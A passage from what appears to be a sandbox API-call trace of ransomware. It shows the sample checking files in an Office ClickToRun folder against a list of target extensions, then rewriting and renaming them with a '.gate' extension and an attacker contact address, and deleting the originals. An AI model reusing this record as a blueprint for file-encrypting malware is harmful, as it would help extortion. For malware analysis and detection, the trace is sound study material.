lpNewFilePointer=0x0) returned 1 [0319.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0319.553] GetLastError () returned 0x0 [0319.553] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0319.554] WriteFile (in: hFile=0x35c, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0319.555] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0319.555] WriteFile (in: hFile=0x35c, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0x116, lpOverlapped=0x0) returned 1 [0319.555] SetEndOfFile (hFile=0x35c) returned 1 [0319.555] CloseHandle (hObject=0x35c) returned 1 [0319.555] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.555] SetEndOfFile (hFile=0x358) returned 1 [0319.560] CloseHandle (hObject=0x358) returned 1 [0319.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.560] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1 [0319.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0319.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0319.561] lstrlenW (lpString=".doc") returned 4 [0319.561] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.561] lstrlenW (lpString=".docx") returned 5 [0319.561] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.561] lstrlenW (lpString=".pdf") returned 4 [0319.561] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.561] lstrlenW (lpString=".xls") returned 4 [0319.561] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.561] lstrlenW (lpString=".xlsx") returned 5 [0319.561] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.561] lstrlenW (lpString=".ppt") returned 4 [0319.561] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0319.561] lstrlenW (lpString=".zip") returned 4 [0319.561] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.561] lstrlenW (lpString=".rar") returned 4 [0319.561] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.561] lstrlenW (lpString=".bz2") returned 4 [0319.561] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.561] lstrlenW (lpString=".7z") returned 3 [0319.561] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0319.561] lstrlenW (lpString=".dbf") returned 4 [0319.561] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0319.561] lstrlenW (lpString=".1cd") returned 4 [0319.561] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0319.561] lstrlenW (lpString=".jpg") returned 4 [0319.561] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0319.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0319.562] lstrlenW (lpString=".doc") returned 4 [0319.562] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.562] lstrlenW (lpString=".docx") returned 5 [0319.562] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.562] lstrlenW (lpString=".pdf") returned 4 [0319.562] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.562] lstrlenW (lpString=".xls") returned 4 [0319.562] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.562] lstrlenW (lpString=".xlsx") returned 5 [0319.562] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.562] lstrlenW (lpString=".ppt") returned 4 [0319.562] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0319.562] lstrlenW (lpString=".zip") returned 4 [0319.562] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.562] lstrlenW (lpString=".rar") returned 4 [0319.562] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.562] lstrlenW (lpString=".bz2") returned 4 [0319.562] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.562] lstrlenW (lpString=".7z") returned 3 [0319.562] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0319.562] lstrlenW (lpString=".dbf") returned 4 [0319.562] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0319.562] lstrlenW (lpString=".1cd") returned 4 [0319.562] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0319.562] lstrlenW (lpString=".jpg") returned 4 [0319.562] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.563] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.563] lstrlenW (lpString="ApiClient.dll") returned 13 [0319.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0319.563] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=162880) returned 1 [0319.563] CloseHandle (hObject=0x358) returned 1 [0319.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0319.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0319.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0319.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0319.564] lstrlenW (lpString=".doc") returned 4 [0319.564] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.564] lstrlenW (lpString=".docx") returned 5 [0319.564] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0319.564] lstrlenW (lpString=".pdf") returned 4 [0319.564] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.564] lstrlenW (lpString=".xls") returned 4 [0319.564] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.564] lstrlenW (lpString=".xlsx") returned 5 [0319.564] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0319.564] lstrlenW (lpString=".ppt") returned 4 [0319.564] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0319.564] lstrlenW (lpString=".zip") returned 4 [0319.564] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.564] lstrlenW (lpString=".rar") returned 4 [0319.564] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.564] lstrlenW (lpString=".bz2") returned 4 [0319.564] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.564] lstrlenW (lpString=".7z") returned 3 [0319.564] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0319.564] lstrlenW (lpString=".dbf") returned 4 [0319.564] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0319.564] lstrlenW (lpString=".1cd") returned 4 [0319.564] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0319.564] lstrlenW (lpString=".jpg") returned 4 [0319.565] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0319.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0319.565] lstrlenW (lpString=".doc") returned 4 [0319.565] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.565] lstrlenW (lpString=".docx") returned 5 [0319.565] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0319.565] lstrlenW (lpString=".pdf") returned 4 [0319.565] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.565] lstrlenW (lpString=".xls") returned 4 [0319.565] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.565] lstrlenW (lpString=".xlsx") returned 5 [0319.565] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0319.565] lstrlenW (lpString=".ppt") returned 4 [0319.565] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0319.565] lstrlenW (lpString=".zip") returned 4 [0319.565] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.565] lstrlenW (lpString=".rar") returned 4 [0319.565] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.565] lstrlenW (lpString=".bz2") returned 4 [0319.566] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.566] lstrlenW (lpString=".7z") returned 3 [0319.566] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0319.566] lstrlenW (lpString=".dbf") returned 4 [0319.566] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0319.566] lstrlenW (lpString=".1cd") returned 4 [0319.566] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0319.566] lstrlenW (lpString=".jpg") returned 4 [0319.566] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.566] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.566] lstrlenW (lpString="AppVCatalog.dll") returned 15 [0319.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0319.566] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=656088) returned 1 [0319.566] CloseHandle (hObject=0x358) returned 1 [0319.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0319.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0319.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0319.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0319.567] lstrlenW (lpString=".doc") returned 4 [0319.567] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.567] lstrlenW (lpString=".docx") returned 5 [0319.567] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0319.567] lstrlenW (lpString=".pdf") returned 4 [0319.567] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.567] lstrlenW (lpString=".xls") returned 4 [0319.567] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.567] lstrlenW (lpString=".xlsx") returned 5 [0319.567] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0319.567] lstrlenW (lpString=".ppt") returned 4 [0319.567] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0319.567] lstrlenW (lpString=".zip") returned 4 [0319.567] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.567] lstrlenW (lpString=".rar") returned 4 [0319.567] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.567] lstrlenW (lpString=".bz2") returned 4 [0319.567] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.567] lstrlenW (lpString=".7z") returned 3 [0319.568] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0319.568] lstrlenW (lpString=".dbf") returned 4 [0319.568] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0319.568] lstrlenW (lpString=".1cd") returned 4 [0319.568] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0319.568] lstrlenW (lpString=".jpg") returned 4 [0319.568] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0319.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0319.568] lstrlenW (lpString=".doc") returned 4 [0319.568] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.568] lstrlenW (lpString=".docx") returned 5 [0319.568] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0319.568] lstrlenW (lpString=".pdf") returned 4 [0319.568] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.568] lstrlenW (lpString=".xls") returned 4 [0319.568] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.568] lstrlenW (lpString=".xlsx") returned 5 [0319.568] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0319.568] lstrlenW (lpString=".ppt") returned 4 [0319.568] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0319.568] lstrlenW (lpString=".zip") returned 4 [0319.568] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.568] lstrlenW (lpString=".rar") returned 4 [0319.568] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.568] lstrlenW (lpString=".bz2") returned 4 [0319.568] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.568] lstrlenW (lpString=".7z") returned 3 [0319.568] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0319.569] lstrlenW (lpString=".dbf") returned 4 [0319.569] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0319.569] lstrlenW (lpString=".1cd") returned 4 [0319.569] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0319.569] lstrlenW (lpString=".jpg") returned 4 [0319.569] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.569] lstrcmpiW (lpString1=".exe", lpString2=".gate") returned -1 [0319.569] lstrlenW (lpString="appvcleaner.exe") returned 15 [0319.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0319.569] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=2054872) returned 1 [0319.569] CloseHandle (hObject=0x358) returned 1 [0319.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20 [0319.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.570] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 1 [0319.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0319.570] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc64 | out: lpNewFilePointer=0x0) returned 1 [0319.570] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1 [0319.570] ReadFile (in: hFile=0x358, lpBuffer=0x4286058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x4286058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0319.610] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1 [0319.610] ReadFile (in: hFile=0x358, lpBuffer=0x42c6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x42c6058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0319.729] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38cfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0319.730] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1 [0319.730] ReadFile (in: hFile=0x358, lpBuffer=0x4306058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x4306058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1 [0319.801] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.801] WriteFile (in: hFile=0x358, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x38cfca8, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfca8*=0xc010a, lpOverlapped=0x0) returned 1 [0320.190] SetEndOfFile (hFile=0x358) returned 1 [0320.190] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x44f8100 [0320.495] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1 [0320.495] WriteFile (in: hFile=0x358, lpBuffer=0x44f8100*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x44f8100*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0320.496] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1 [0320.496] WriteFile (in: hFile=0x358, lpBuffer=0x44f8100*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x44f8100*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0320.498] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1 [0320.498] WriteFile (in: hFile=0x358, lpBuffer=0x44f8100*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x44f8100*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1 [0320.500] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x44f8100 | out: hHeap=0x490000) returned 1 [0320.501] CloseHandle (hObject=0x358) returned 1 [0320.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0320.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0320.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0320.502] lstrlenW (lpString=".doc") returned 4 [0320.502] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0320.502] lstrlenW (lpString=".docx") returned 5 [0320.502] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0320.502] lstrlenW (lpString=".pdf") returned 4 [0320.502] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0320.502] lstrlenW (lpString=".xls") returned 4 [0320.502] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0320.502] lstrlenW (lpString=".xlsx") returned 5 [0320.502] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0320.502] lstrlenW (lpString=".ppt") returned 4 [0320.502] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0320.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0320.502] lstrlenW (lpString=".zip") returned 4 [0320.502] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0320.502] lstrlenW (lpString=".rar") returned 4 [0320.502] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0320.502] lstrlenW (lpString=".bz2") returned 4 [0320.502] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0320.502] lstrlenW (lpString=".7z") returned 3 [0320.502] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0320.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0320.502] lstrlenW (lpString=".dbf") returned 4 [0320.502] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0320.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0320.502] lstrlenW (lpString=".1cd") returned 4 [0320.502] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 